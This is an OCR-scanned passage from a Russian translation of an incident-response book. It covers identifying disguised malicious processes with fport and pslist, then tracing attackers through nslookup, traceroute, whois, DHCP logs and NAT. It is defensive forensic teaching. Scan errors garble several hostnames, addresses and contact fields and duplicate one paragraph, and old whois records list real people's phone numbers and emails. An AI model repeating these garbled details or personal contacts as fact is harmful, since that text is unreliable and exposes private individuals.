Утилиты fport и pslist критически важны для динамического анализа систе-
мы Windows. Утилита fport должна использоваться перед и после выполне-
ния зловредного процесса, чтобы определить, не открывает ли зловред-
ный процесс какие либо сетевые соединения. Утилита pslist будет полезна
для определения, что процесс изменил свое имя после выполнения. На
рис. 16.10 показан вывод pslist, где был выполнен Subseven Server С парамет-
ром, который заставляет сервер выбирать произвольное имя. Отмстим 11)
процесса 173. Первоначальный выполняемый процесс назывался ser
ver.exe, но процесс показан как psxss.
Рис. 16.10. Использование pslist для идентификации зловредных процессов (PID 173)
Атакующие обычно не называют свои зловредные процессы очевидным
именем, например таким, как используется на рис. 16.10. На рис. 16.11 по-
казано, как fport используется для идентификации зловредных процессов,
открывающих сетевые соединения. В этом примере ID процесса равен 95
и он называется LSASS --- Local Security Authority Sub System (подсистема
локального уполномоченного по безопасности). Она не открывает никакие
Рис. 16.11 Использование fprot для идентификации зловредных процессов (PID 05)

434
Глава 16
сетевые соединения. Атакующий просто выбрал LSASS в качестве имени
для своего зловредного процесса, чтобы скрыть процесс, делая его внешне
безобидным.
Утилита listdlls является прекрасной утилитой для использования с це-
лью идентификации полной командной строки всех выполняемых файлов.
Рис. 16.12 идентифицирует подозрительный процесс с именем l.exe, кото-
рый был выполнен с помощью командной строки  i 0 23. Подготовленный
исследователь может предположить, что  i 0 означает интерфейс и что 23
может быть аргументом командной строки, задающий сетевому анализато-
ру для перехвата трафика порт 23 (telnet).
Рис. 16.12. Использование listdlls для просмотра полного имени доступа
исполняемого файла
Используйте антивирусную программу
для зловредного процесса
Вот простой способ определить, чем является зловредный процесс: скопи-
руйте процесс на гибкий диск и выполните антивирусную программу на
гибком диске. Антивирусная программа может идентифицировать зловред-
ный код.
ИТОГИ
Правильный анализ утилит поможет предотвратить будущие атаки, оценить
подготовку атакующего или уровень опасности, определить объем компро-
метации, число и тип нарушителей и т.д. Использовался анализ утилит для
идентификации групп хакеров, корреляции различных атак и для оценки
уровня подготовки атакующего.

ЧАСТЬ V
Приложения

ПРИЛОЖЕНИЕ А
Установление
идентичности
в киберпространстве

438
Приложение А
Одной из существенных задач любого исследования является установле-
ние идентичности людей, которые совершили дурные поступки. Интернет
создает дополнительную сложность при установлении идентичности, осо-
бенно с учетом всех различных приложений, которые могут скрывать иден-
тичность лиц. Такие технологии, как анонимная переадресация почты,
анонимная почта на основе Web, динамическая IP адресация, DHCP (про-
токол динамической конфигурации хоста) и трансляция сетевых адресов
(NAT) вносят свой вклад в анонимность, представляемую Интернетом.
Другим препятствием для установления идентичности является междуна-
родный характер Интернета. Коммуникации через множество различных
границ подпадают под различные законы в каждой стране. Поэтому требу-
ется международная кооперация для трассировки идентичности в кибер-
пространстве.
В этом приложении показывается, что IP адреса, МАС адреса, систем-
ные имена NetBIOS, адреса e mail, псевдонимы IRC (Chat), имена пользова-
телей и имена хостов являются электронными признаками, которые могут
привести к идентичности атакующего. Кроме того, рассматривается, как
проследить сообщение e mail до его источника.
ИССЛЕДОВАНИЕ IP АДРЕСОВ
Чтобы компьютер участвовал в коммуникациях в Интернете, он должен
иметь IP адрес. Таким образом любое действие, выполненное в Интернете
или в сети на основе TCP/IP, имеет соединенный с ним IP адрес источника.
Когда мы начинаем искать доказательства, оставленные после сетевой
атаки, первым электронным ключом к вопросу "кто это сделал" служит
обычно IP адрес источника. Поэтому IP адрес источника является первым
шагом для установления идентичности атакующего. Однако IP адреса со-
здают многочисленные проблемы при установлении идентичности:
IP адрес источника может быть подделан. IP адрес источника обычно
подделывается для атак отказа в обслуживании и любого другого типа
коммуникации, которая не является интерактивной.
IP адрес источника атаки может находиться на расстоянии множества
транзитных участков от истинного источника атаки. Большинство
атакующих проходят через множество машин, прежде чем запустить
атаку на основе сети. Исследователи иногда должны прослеживать
множество отдельных транзитных участков.
IP адрес принадлежит машине (а не человеку), и соответствует опре-
деленной системе в определенное время. Если вы не знаете времен-
ные рамки инцидента, то трудно определить, кто "владел" IP адресом,
когда произошел инцидент,--- сложно обнаружить того, кто в это время
работал за определенной машиной.

Установление идентичности в киберпространстве
439
Использование nslookup
На многие системы в Интернете можно сослаться с помощью числового
IP адреса или с помощью полностью квалифицированного имени домена
(FQDN --- fully qualified domain name). FQDN --- текстовое имя, данное систе-
ме, чтобы пользователи могли легко его запомнить, таким как www.fbi.gov.
FQDN является логическим эквивалентом именам, перечисленным в теле-
фонной книге, с IP адресами в качестве телефонных номеров. Когда вы со-
единяетесь с www.fbi.gov, вы на самом деле соединяетесь с числовым IP адресом.
Существует много ситуаций, когда исследователю необходимо отобра-
зить числовой IP адрес в FQDN. FQDN создает представление о назначении
и расположении системы. Например, IP адрес 139.147.8.33 принадлежит сис-
теме с именем slipl.lafayette.edu, предполагающим, что система является сис-
темой доступа по телефонной линии (SLIP --- Serial Line Internet Protocol ---
используется для модемов телефонного доступа). Существует простая
команда, доступная в операционных системах Windows и UNIX, которая
выполняет это преобразование.
Команда nslookup (поиск на сервере имен) используется для получения
IP адреса или FQDN, если известно одна из этих ссылок на системе. Nsloo-
kup просто запрашивает сервер DNS (систему имен доменов), чтобы ото-
бразить IP адрес в FQDN. На рис. АЛ показан пример использования nsloo-
kup для отображения www.lafayette.edu в IP адрес 139.147.8.11. Вторая
команда на рис. АЛ показывает использование nslookup для отображения
139.147.8.11 в FQDN www.lafayette.edu.
На рис. АЛ инициирующая система просит свой сервер DNS 12.127.16.67
найти www.lafayette.edu. Сервер DNS 12.127.16.67 имеет запись для www.lafay
ette.edu, которая обозначена как "non authoritative answer", так как разреше-
ние имело место не в системе DNS, зарегистрированной как "start of authori-
ty" (или основной сервер DNS) для сети места назначения, который в этом
случае будет lafayette.edu.
Рис. А.1. Использование nslookup

440
Приложение А
Как работает система имен доменов
Система имен доменов (DNS) отображает полностью квалифицирован-
ные имена доменов (FQDN) в IP адреса, поэтому не требуется запоми-
нать системные числовые IP адреса. Представьте, насколько утомитель-
но было бы перемещаться в Web, вводя числовые IP адреса. DNS
работает с помощью DNS серверов, отвечающих на запросы DNS, кото-
рые являются запросами к DNS на трансляцию FQDN в соответствую-
щий числовой IP адрес. Следующая иллюстрация показывает, как работа-
ет DNS при отображении FQDN в числовой IP адрес, который протокол
Интернета будет использовать для соединения с удаленной системой.
На рисунке пользователь системы А инструктирует Web браузер со-
единиться с www.fbi.gov. Чтобы соединиться с Web сервером, системе А
необходимо получить числовой IP адрес www.fbi.gov. Шаг 1 показывает,
что система А контактирует со своим сервером DNS, чтобы определить
этот числовой IP адрес. Первый сервер DNS опрашивает свою таблицу
имен, чтобы определить, знает ли он числовой IP адрес www.fbi.gov. На
иллюстрации первый сервер DNS не знает этот IP адрес. Поэтому он за-
прашивает другой сервер DNS на шаге 2.
Второй сервер DNS знает числовой IP адрес www.fbi.gov и возвращает
числовой IP адрес первому серверу DNS. На шаге 3 первый сервер DNS
загружает IP адрес 32.97.253.60 в кэш память DNS на заданный период
времени. Таким образом следующие запросы, инициированные из сети
системы А будут иметь немедленный ответ на свои запросы DNS. На
шаге 4 система А соединяется с Web страницей FBI, используя числовой
IP адрес, предоставленный запросами DNS.

Установление идентичности в киберпространстве
441
ВНИМАНИЕ Система должна указывать по крайней мере на один сервер DNS,
чтобы пользователь применял FQDN для ссылок на системы в Интер-
нете. Иначе пользователь будет ограничен применением только чис-
ловых IP адресов. Многие службы имеют также средства, которые
выполняют поиск DNS. Если система не поставляется с сервером
DNS, она не сможет выполнять запросы DNS. Производительность
системы существенно снизится, так как службы будут делать запро-
сы, которые невозможно выполнить.
Конечно, после выполнения поиска по IP адресу, связанному с подозри-
тельной деятельностью, можно получить только первое звено в цепочке.
Разрешение может вести к адресу скомпрометированной системы, которая
используется для запуска атак.
Использование traceroute или tracert
Traceroute, или tracert в системах Windows, является системной коман дой,
которая определяет маршрут, которым следует пакет, чтобы дойти до сис-
темы назначения. Traceroute использует поле TTL (Time To Live --- время
жизни) протокола Интернета (IP) для получения ответа Time Excee ded
(превышение времени) протокола контроля сообщений Интернета (ICMP)
от каждого маршрутизатора на пути доступа к хосту назначения. Tracero-
ute посылает пакеты протокола датаграмм пользователя (UDP) с неболь-
шим TTL и ожидает возвращения сообщений Time Exceeded ICMP. Пер-
вый пакет, который посылает traceroute, имеет значение TTL, равное 1, и
traceroute увеличивает TTL на единицу, пока не будет получен пакет ICMP
Port Unre achable (порт недоступен) от выбранного хоста назначения. На
рис. А.2 показан пример использования команды tracert в системе Windows.
Исследователи используют traceroute для определения географического
расположения системы. Система может быть зарегистрирована в базе дан-
ных Whois (см. следующий раздел) за владельцем в Канзасе и иметь FQDN,
который предполагает, что она находится в Миссури, но система физически
может располагаться в Чикаго. Traceroute может быть полезна при отслежи-
вании реального физического расположения системы. Ее можно определить
из имен и расположения промежуточный сайтов, где расположена целевая
система. В примере, показанном на рисунке А 2, можно видеть, что транзит-
ный участок 17 является cust03 abe.fast.net. "abe" соответствует Allentown,
Bethlehem, Easton, предполагая, что система www.lafaette.edu находится ря-
дом с одним из этих городов в восточной Пенсильвании (в Easton, Пенсиль-
вания).
Существуют графические утилиты, выполняющие такую же функции >, как
и утилиты командной строки traceroute и tracert. Например, Neotrace выпол
няет быструю трассировку маршрута и показывает карчу примерною пути
доступа, которым движется пакет между конечными ТОЧКАМИ. На рис, А.3
показана карта, созданная Neotrace при выполнении трассировки маршру
та к системе www.larayriir.cdu.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Neotrace: hllp://www.nooworx.com/

442
Приложение А
Рис. А.2. Использование tracert в системе Windows
Рис. А.З. Использование Neotrace
Использование базы данных Whois
База данных Whois является центральным репозиторием, который содер-
жит информацию для каждого домена, зарегистрированного в Интернете. Ко-
му то необходимо быть тонкой контакта для каждого присутствии в Интернете.

Установление идентичности в киберпространстве
443
База данных Whois является "телефонной книгой" при выявлении точек
контакта для определенных IP адресов. Исследователи используют базу
данных Whois для идентификации того, какие организации, компании,
университеты владеют IP адресом и для получения точек контакта.
В США база данных Whois поддерживается Американским реестром но-
меров Интернета (ARIN). ARIN управляет IP номерами для Северной Аме-
рики, Южной Америки, Карибских островов и Африки, южнее Сахары.
ARIN является одним из трех мировых Региональных реестров Интернета
(RIR), которые совместно предоставляют службы регистрации IP для всех
регионов на земном шаре. RIPE NCC (Reseaux IP Europeens) обслуживает
Европу, Средний Восток и часть Африки. APNIC (Asia Pacific Network Infor-
mation Center) обслуживает Азиатско Тихоокеанский регион.
Каждый RIR отвечает за поддержание информации своей собственной
базы данных Whois. Исследователи могут запрашивать различные базы дан-
ных Whois (ARIN, RIPE и APNIC), чтобы найти зарегистрированного вла-
дельца IP адреса и получить технические, административные и расчетные
точки контакта для зарегистрированного блока IP. США имеют также базы
данных Whois, используемые специально для отслеживания военных доме-
нов США (.mil) и правительственных сайтов (.gov).
Выполнение запросов Whois в системах UNIX
Системы UNIX поставляются с утилитой командной строки whois, которая
может использоваться для запроса многих баз данных Whois. В следующем
примере применяется команда whois для запроса базы данных Whois, кото-
рую поддерживает Network Solutions с целью перечисления точек контакта
для домена lafayette.edu.
[root@conan /root]# whois lafayette.edu@whois.networksolutions.com
[networksolutions.com]
The Data in Network Solutions' WHOIS database is provided by Network Solutions
for information purposes, and to assist persons in obtaining information about
or related to a domain name registration record. Network Solutions does not
guarantee its accuracy. By submitting a WHOIS query, you agree that you will
use this Data only for lawful purposes and that, under no circumstances will
you use this Data to: (1) allow, enable, or otherwise support the transmission
of mass unsolicited, commercial advertising or solicitations via e mail
(spam); or (2) enable high volume, automated, electronic processes that apply
the Network Solutions (or its systems). Network Solutions reserves the right
to modify these terms at any time. By submitting this query, you agree
to abide by this policy. Registrant:
Lafayette College (LAFAYETTE DOM)
304 Alumni Hall of Engineering
Easton, PA 18042
US
Domain Name: LAFAYETTE.EDU
Administrative Contact, Technical Contact, Billing Contact:
Bill, dailey (DBRWii) Dailey ч Ai AYETTE.EDU
Jafayci te Col Leg*
304 ЛiHUM11 Ha] I ol i nullum inn

444
Приложение А
Eastern, pa 18042
610 330 5693 (FAX) 610 330 5059
Record last updated on 04 Mar 2000.
Record created on 13 Jul 1990.
Database last updated on 10 Apr 2001 05:29:00 EDT.
Domain servers in listed order:
DNS1.LAFAYETTE.EDU
139.147.1.100
DNS2.LAFAYETTE.EDU
139.147.1.101
Этот вывод показывает, что Bill Dailey является административной,
технической и расчетной точкой контакта для блоков IP, которыми владеет
lafayette.edu.
Следующие примеры показывают, что часто необходимо запрашивать
несколько баз данных Whois, чтобы получить разыскиваемую информа-
цию. Первый запрос whois использует базу данных InterNIC Whois:
[root@conan /root]# whois cia.gov@whois.internic.net
[whois.internic.net]
Whois Server Version 1.3
Domain names in the .com, .net, and .org domains can now be registered with
many different competing registrars. Go to http://www.internic.net for
detailed information.
No match for "CIA.GOV.
>»Last update of whois database: Tue, 10 Apr 2001 12:16:07 EDT <«
The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.
Отметим, что база данных InterNIC Whois поддерживает записи только
для сайтов .com, .net, .org, и .edu. He существует записи для cia.gov. Так как
нам требуется база данных .gov, мы должны запросить базу данных Whois,
которая поддерживается для сайтов .gov, следующим образом:
[root@conan /root]# whois cia.govtwhois.nic.gov
[nic.gov]
Central Intelligence Agency (CIA DOM)
Global Network Enterprise
Washington, DC 20505
Domain Name: CIA.GOV
Status: Active
Administrative Contact:
Farnham, David B. (DBF)
(703) 874 2871
DAVEF@UCIA.G0V
Domain servers in listed order:
RELAY1.UCIA.GOV 198.81.129.193
AUTH100.NS.UU.NET 198.6.1.202
Record last update on  0ct 11.
Please be advised that this whois server only contains information perta ning
to the .GOV domain. For information for other domains please use the whois
server at RS.INTERNIC.NET.
Отметим, что база данных InterNIC Whois поддерживает записи только
для сайтов .com, .net, .org, и .edu. He существует записи для cia.gov. Так как
нам требуется база данных .gov, мы должны запросить базу данных Whois,
которая поддерживается для сайтов .gov, следующим образом:

Установление идентичности в киберпространстве
445
Этот запрос осуществляет административный контакт с именем David
Farnham.
Можно также запросить базы данных RIPE и APNIC с помощью коман-
ды whois. Синтаксис запроса других баз данных Whois показан в следующих
двух примерах:
whois rain.fr@whois.ripe.net
whois bncc.edu.cn@whois.apnic.net
Существуют случаи, когда необходимый IP адрес не имеет FQDN. Можно
также использовать базы данных Whois для определения владельца числово-
го IP адреса. Следующий фрагмент иллюстрирует, как использовать базу дан-
ных ARIN Whois для определения, за кем зарегистрирован адрес 128.57.6.2.
[root@conan /root]# whois 128.57.6.2@whois.arin.net
[whois.arin.net]
SRI International (NET DEMO PR 2)
333 Ravenswood Avenue
Menlo Park, CA 94025
US
Netname: DEMO PR 2
Netblock: 128.57.0.0 128.57.255.255
Coordinator:
Mann, Dale (DM261 ARIN) Mann@ISTC.SRI.COM
(415) 859 5941
Record last updated on 05 Aug 1996.
Database last updated on 14 Apr 2001 22:35:59 EDT.
Выполнение запросов Whois в системах Windows
Системы Windows не имеют утилиты командной строки whois. Поэтому не-
обходимо использовать приложения независимых поставщиков или соот-
ветствующие Web сайты, такие как ARIN или RIPE, для запроса баз данных
Whois.
ВНИМАНИЕ Рекомендуется использовать Web сайты для выполнения запросов
к базе данных Whois. Поиски на Web сайтах предоставляют ссылки
с целью быстрого обнаружения лучшей точки контакта для опреде-
ленной системы.
Утилиты независимых поставщиков могут выполнять поиск в DNS, запро
сы к базе данных Whois, трассировку маршрутов и многие другие функции,
используемые для получения информации о целевом IP адресе. Sam Spade и
Netscan Tools --- наиболее популярные утилиты на основе Windows для перс
числения IP адресов. На рис. А.4 показан интерфейс утилиты Sam Spade.

446
Приложение А
Рис. А.4. Интерфейс Sam Spade
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Запросы к базе данных Whois ARIN: http://www.arin.net/
Запросы к базе данных Whois армии США: http://www.nic.mil/dodnic/
Запросы американских точек контакта: http://www.internic.net/whois.html
Запросы базы данных Whois RIPE: http://www.ripe.net/cgi bin/whois
Запросы базы данных Whois APNIC: http://www.apnic.net/
Исследование динамических IP адресов
Когда была создана версия 4 IP, она теоретически допускала 232, или более
четырех миллиардов (4 294 967 296) IP адресов. Однако в связи с расширени-
ем Интернета общий пул IP адресов быстро исчерпывается. Очевидным ре
шением стало создание новой версии IP, чтобы получить значительно боль-
ше адресов. Это было сделано с помощью IP версии 6, но ее развертывание
может потребовать нескольких лет, так как она требует модификации всей
инфраструктуры Интернета. Поэтому было разработано несколько методов
для сбережения IP адресов. Двумя наиболее распространенными решения-
ми, которые сохраняют публичное IP адресное пространство, являются
трансляция сетевых адресов (NAT) и протокол динамической конфигура-
ции хоста (DHCP). Оба метода обеспечивают распределение IP адресов,
которое может быть динамическим.

Установление идентичности в киберпространстве
447
Динамические IP адреса существуют, когда система может иметь другой
IP адрес в Интернете. Это противоположно статическим IP адресам, где сис-
тема имеет один и тот же IP адрес всякий раз, когда она соединяется с Ин-
тернетом. Динамические IP адреса присваиваются пользователям, которые
соединяются с поставщиком услуг Интернета (ISP) с помощью телефонного
кабеля, корпоративным пользователям, которые находятся в сети, использу-
ющей DHCP, и корпоративным пользователям, применяющим телефонное
соединение. При определении принадлежности IP адреса, потребуется рас-
смотреть, использовалась в целевой сети DHCP или NAT.
Исследование IP адреса в среде DHCP
DHCP предоставляет динамические IP адреса хостам, обращающимся к
сети. Рабочие станции конфигурируются для получения своих IP адресов
(вместе с другой сетевой информацией) от централизованного сервера
DHCP. Протокол DHCP популярен, так как требует от конечного пользова-
теля небольшой конфигурации вручную для работы в сети. Несмотря на
мотивации для использования DHCP, он предоставляет дополнительный
слой анонимности для конечного пользователя.
Как работает DHCP
Когда системе, сконфигурированной для использования DHCP, требует-
ся IP адрес, она посылает широковещательное сообщение DHCP Disco-
ver серверу DHCP. Сервер DHCP получает сообщение DHCP Discover и
отвечает сообщением Offer, содержащим предложенный IP адрес и все
другие параметры, которые сервер DHCP сконфигурировал для отправ-
ки. Клиент DHCP будет использовать данные параметры, включая lP ад
рес, в течение ограниченного периода времени. На следующей иллюст-
рации демонстрируется работа начального запроса.
Сервер
Ноутбук
DHCP
сотрудника
Запрос IP (DHCP DISCOVER)
IP адрес будет выделяться ноутбуку сотрудника на предопределенный период времени.
Перед использованием предоставленного IР адреса клиентская систе
ма отправит широковещательный пакет Address Resolution Protocol
(ARP), чтобы определить, не используется ли IP адрес какой либо другой
системой в сети. Если адрес никем не используется, то клиентская система
применяет IP адрес.

448
Приложение А
В отношении DHCP хорошо то, что распределение IP адресов обычно
записывается в журнал независимо от операционной системы, которую ис-
пользует серйер DHCP. Вы сможете определить, какая система (по адресу
MAC) имела определенный IP адрес в определенное время. Если сервер
DHCP является системой UNIX, сервер DHCP (называемый dhcpd) исполь-
зует программу syslogd для записи выделенных IP адресов (см. главу 3).
Если сервер DHCP является системой Windows, то IP адреса будут пред-
ставлены в обычном текстовом файле с именем DhcpSrvLog.
Далее следует фрагмент файла сообщений /var/log/ на сервере Linux
(номера строк добавлены для ссылок):
1) Dec 6 20:52:57 rain dhcpd: OHCPDISCOVER from 00:10:4b:0a:72:3e via x10
2) Dec 6 20:52:58 rain dhcpd: DHCPOFFER on 10.10.10.2 to
00:10:4b:0a:72:3e via x10
3) Dec 6 20:53:01 rain dhcpd: DHCPDISC0VER from 00:10:4b:0a:72:3e via x10
4) Dec 6 20:53:02 rain dhcpd: DHCPOFFER on 10.10.10.2 to
00:10:4b:0a:72:3e via x10
5) Dec 6 20:53:02 rain dhcpd: DHCPREQUEST for 10.10.10.2 from
00:10:4b:0a:72:3e via x10
6) Dec 6 20:53:02 rain dhcpd: DHCPACK on 10.10.10.2 to
00:10:4b:0a:72:3e via x10
В строке 1 система с адресом MAC 00:10:4b:0a:72:3e запрашивает DHCP о вы-
делении адреса. В строке 2 сервер DHCP предлагает клиенту IP адрес 10.10.10.2.
В строке 3 клиент посылает другое сообщение DHCPDISCOVER, возможно, он
мог послать пакет до получения от сервера сообщения DHCPOFFER. В строке 4
сервер DHCP снова посылает клиенту сообщение DHCPOFFER. Строка 5 пока-
зывает пакет DHCPREQUEST, посланный серверу DHCP. Так как клиент мо-
жет получать выделенные DHCP адреса от нескольких различных серверов
DHCP, клиент посылает сообщение DHCPREQUEST назад серверу, от ко-
торого он принял DHCPOFFER. В строке 6 DHCP подтверждает присвое-
ние IP адреса 10.10.10.2 адресу MAC 00:10:4b:0a:72:3e с пакетом DHCPACK.
Теперь вы знаете, что 6 декабря в 20:53:02, IP адрес 10.10.10.2 принадлежал
системе с МАС адресом 00:10:4b:0а:72:Зе.
Чтобы уточнить выделенные адреса DHCP в системе UNIX, выполняющей
(очень часто) DHCP сервер консорциума по программам Интернета (ISC),
можно проверить файл dhcpd.leases (он находится в /var/db/dhcpd.leases).
Пример файла dhcpd.leases на сервере DHCP для Linux:
lease 10.10.1.10 {
starts 4 2001/04/12 14:42:30;
ends 4 2001/04/12 20:42:30;
hardware ethernet 00:02:2d:09:97:81;
uid 01:00:02:2d:09:97:81;
client hostname "ORION LAPTOP";
} В этом файле можно видеть, что система с именем хоста ORION
LAPTOP получила IP адрес 10.10.1.10 12 апреля 2001 г. в 14:42:30. Можно
определить, что система имеет также МАС адрес 00:02:2d:09:97:81.

Установление идентичности в киберпространстве
449
Необходимо отметить, что время задается по Гринвичу, поэтому можно вы
полнить команду date  u в системе UNIX, чтобы увидеть системные время и
дату по Гринвичу. Числа 4 показанные полужирным шрифтом, coответству
ют дню недели. Представление дня недели начинается с 0, соответствующе
го воскресенью, 1 --- понедельнику и т.д., 4 --- четвергу. Вот еще несколько
фрагментов из файла dhcpd.lease:
lease 10.1.1.10 {
starts 0 2001/04/15 16:41:41;
ends 0 2001/04/15 22:41:41;
hardware ethernet 00:10:4b:37:d7:fd;
uid 01:00:10:4b:37:d7:fd;
client hostname "lucky";
>
lease 10.1.1.9 {
starts 0 2001/04/15 16:26:56;
ends 0 2001/04/15 22:26:56;
hardware ethernet 0.0:50:04:75:2e:ed;
uid 01:00:50:04:75:2e:ed;
client hostname "James";
}lease 10.1.1.4 {
starts 0 2001/01/21 07:06:41;
ends 0 2001/01/21 07:06:41;
abandoned;
client hostname "halo";
} Единственная аномалия в этом фрагменте состоит в записи abandoned,
показанной здесь полужирным шрифтом. Такая запись обычно делается,
когда система отвергает IP адрес, который сервер DHCP предложил сие те-
ме. Как правило, это происходит, потому что предложенный IP адрес уже
используется в сети.
Что может произойти
* Вы подозреваете, что некий инсайдер незаконно получил доступ к вашей
e mail. Вы уезжали на десять дней. По возвращении вы ожидали увидеть
сотни e mail сообщений. Однако вы удивились, когда после соединения со
своим почтовым сервером получили только четыре новых сообщении.
Вы обратились к техническому персоналу и спросили, не было ли с поч
товым сервером каких либо проблем, когда вы были в отпуске. Вас заверили,
что проблем не было вообще. Вы немного смущены отсутствием какой либо
почты, пока системный администратор позже не обнаружил запись в журна
лах почты, которая показывает, что неавторизованный пользователь зареги
стрировался на POP сервере с помощью вашей учетной записи 12/5/00 и
6:43:27 вечера, и затем снова в 6:47:45 вечера, Согласно почтовому журналу
доступ к вашей учетной записи почты получил IР адрес 10.0.2.8. Вы

450
Приложение А
понимаете, что подозреваемый должен был сделать запись в почтовом журна-
ле. Теперь необходимо определить, кто имел IP адрес 10.0.2.8 в это время.
Где искать доказательства
Вы нашли сервер DHCP и получили журналы DHCP. Так как сервер DHCP
находится на системе Windows, необходимо просмотреть файл DhcpSrvLog
для определения, кто имел IP адрес 10.0.2.8 во время обращения к вашей
учетной записи почты. Далее следует фрагмент из записей сервера DHCP
на Windows 2000. Чтобы облегчить работу, можно воспользоваться имею-
щимся в файле DhcpSrvLog ID события. Вы ищете в файле ID события 10
или 11 около времени инцидента. ID события 10 и ID события 11 показыва-
ют IP адрес, выделенный определенному МАС адресу.
Microsoft DHCP Service Activity Log
Event ID Meaning
00
The log was started.
01
The log was stopped.
02
The log was temporarily paused due to low disk space.
10
A new IP address was leased to a client.
11
A lease was renewed by a client.
12
A lease was released by a client.
13
An IP address was found to be in use on the network.
14
A lease request could not be satisfied because the scope's
address pool was exhausted.
15
A lease was denied.
16
A lease was deleted.
17
A lease was expired.
20
A B00TP address was leased to a client.
21
A dynamic BOOTP address was leased to a client.
22
A BOOTP request could not be satisfied because the scope's
address pool for BOOTP was exhausted.
23
A BOOTP IP address was deleted after checking to see it was
not in use.
50+ Codes above 50 are used for Rogue Server Detection information.
ID Date,Time,Description,IP Address,Host Name,MAC Address
1) 11,12/05/00,18
2) 11,12/05/00,18
3) 11,12/05/00,18
4) 11,12/05/00,18
5) 10,12/05/00,18
6) 17,12/05/00,18
35:38,Renew,10.0.2.8,lappie XX.,00104BDF3720
35:40,Renew,10.0.2.78,TEST2.company.com,006097CC6172
35:40,Renew,10.0.2.8,lappie XX..00104BDF3720
39:33,Renew,10.0.2.78,TEST2.company.com,006097CC6172
39:43,Assign,10.0.2.94,,005056AC0208
47:55,Expired,10.0.2.21,,
В строках 1 и 3 отметим, что система, называемая lappie XX, обновила
IP адрес 10.0.2.8. Подозрительная система имеет МАС адрес 00104BDF3720.
Теперь вам необходимо определить, у кого из ваших сотрудников есть сис-
тема lappie XX с МАС адресом 00104BDF3720.
Многие корпорации учреждают управление конфигурацией, которое
требует специальные соглашения об именах систем. Это значительно упро-
щает трассировку источника незаконного доступа по имени системы.

Установление идентичности в киберпространстве
451
Соответственно, это также упрощает атакующему использование системно
го имени кого то другого. Чтобы проследить МАС адрес до истинного вла
дельца, необходимо определить владельца системы, а затем осуществить
поиск в этой системе исчезнувшей почты.
Исследование IP адресов при трансляции сетевых адресов
Трансляция сетевых адресов (NAT) позволяет одному устройству с одним
реальным, зарегистрированным IP адресом представлять целую сеть сис
тем в Интернете. Чтобы сохранить пространство публичных И' адресов и
реализовать значимую сетевую безопасность, системные администраторы
используют обычно NAT. NAT отделяет сети организации от Интернета,
создавая частную сеть "внутри" и Интернет "вовне". Незарегистрирован-
ные IP адреса в частной сети должны применять NAT для коммуникации в
Интернет.
ВНИМАНИЕ Существуют три диапазона IP адресов, которые зарезервированы
для частного использования: от 10.0.0.0 до 10.255.255.255, от
172.16.0.0 до 172.31.255.255 и от 192.168.0.0 до 192.168.255.255.
Подобные адреса никогда не будут распределены публично и явля-
ются незарегистрированными номерами; они могут использоваться
только внутри организации. Любые пакеты, имеющие IP адрес ис-
точника или места назначения в этих трех диапазонах, никогда не
встречаются в Интернете. Считайте данные адресные пространства
как немаршрутизируемые.
Системы, выполняющие NAT, поддерживают временную таблицу. Она
называется таблицей трансляции адресов. Эта таблица отслеживает каждый
текущий сеанс между частной сетью и Интернетом, чтобы пересылать необ-
ходимым образом пакеты. Как только система NAT получает пакет из внуг
ренней системы, она сохраняет внутренний системный зарезервированный
немаршрутизируемый IP адрес и номер порта источника в таблице трансля-
ции адресов. Таблица трансляции адресов содержит такую информацию:
Компьютер источник
IP адрес компьютера источника
Номер порта компьютера источника
IP адрес системы NAT
Присвоенный номер порта системы NAT
Система NAT использует таблицу трансляции адресов для маршрутиза
ции трафика между компьютером источником и удаленным ХОСТОМ. Проб
лема для исследователей в том, что такая таблица недоступна в системах
UNIX, выполняющих NAT. Однако можно видеть активные трансляции в
маршрутизаторе Cisco, ВЫПОЛНЯЯ следующую команду:
show ip nat translations

452
Приложение А
Трассировка владельца IP адреса, когда он находится позади системы,
выполняющей NAT, может быть трудной. Обычно для выполнения NAT ис-
пользуются следующие системы:
Брандмауэры, такие как Cisco PIX и Checkpoints FireWAll One
Маршрутизаторы Cisco
Linux
FreeBSD, OpenBSD и NetBSD
Системы имеют возможность ведения журналов событий, но смогут ли
они записать полезную информацию NAT. Это зависит от того, как была
сконфигурирована система NAT. Например, Cisco Internetworking Operating
System (IOS) 12.x поддерживает NAT всевозможным образом, но не поддер-
живает журналы NAT. Единственным способом документировать трансля-
ции NAT в маршрутизаторе Cisco является автоматизация запроса, который
Как работает NAT
Система NAT работает путем реконструкции заголовков IP внутренних
пакетов, покидающих сеть, делая каждый IP адрес источника одним и
тем же. Пакеты ответа, приходящие "извне" сети, транслируются и пере-
сылаются соответствующей внутренней системе. Фактически внешние
системы в Интернете знают только один IP адрес --- адрес системы, вы-
полняющей NAT. На иллюстрации ниже показан принцип работы NAT.
На рисунке всем внутренним системам были присвоены зарезервиро-
ванные IP адреса в диапазоне IP от 10.0.0.0 до 10.255.255.255. Эти незаре-
гистрированные IP адреса не могут использоваться в Интернете. Если
система А с IP адресом 10.0.0.2 соединяется с Web сервером в Интернете,
Web сервер запишет источник соединения как IP 206.135.57.16. Это свя-
зано с тем, что маршрутизатор использует NAT. Все пакеты, исходящие
из частной сети, будут иметь IP адрес источника 206.135.57.16, когда они

Установление идентичности в киберпространстве
411
выполняет команду трансляции show ip nat и перехватывает снимки выде
ленных адресов NAT. Это не очень хорошее решение (но единственное, ко
торое мы имеем). Скорее всего вы найдете контрольный след, когда для вы
полнения NAT будут использоваться брандмауэры. Система Linux может
также использовать свою встроенную программу фильтрации пакетов, назы
ваемую IPChains (или IP Filter) или некоторый другой механизм межсетевого
экрана для записи соединений NAT.
ВНИМАНИЕ IP masquerading является сетевой схемой, аналогичной NAT (типа
один много), которые существуют во многих коммерческих бранд-
мауэрах и сетевых маршрутизаторах.
ИССЛЕДОВАНИЕ АДРЕСОВ MAP
IP работает на третьем, или сетевом, уровне модели OSI (Open Systems In-
terconnection). IP работает независимо от уровня канала данных или вы-
бранной физической реализации сети. Независимо от того, используется
ли сетевой адаптер Token Ring, Ethernet или FDDI, IP все равно работает.
Однако, чтобы сетевые адаптеры общались друг с другом, они должны
иметь свои собственные схемы адресации. Адаптер Ethernet не понимает
кадры, посланные из адаптера Token Ring, и наоборот. Таким образом,
компьютеры применяют для коммуникации уникальный адрес на сетевом
адаптере. Он называется адресом протокола управления доступом к среде (MAC)
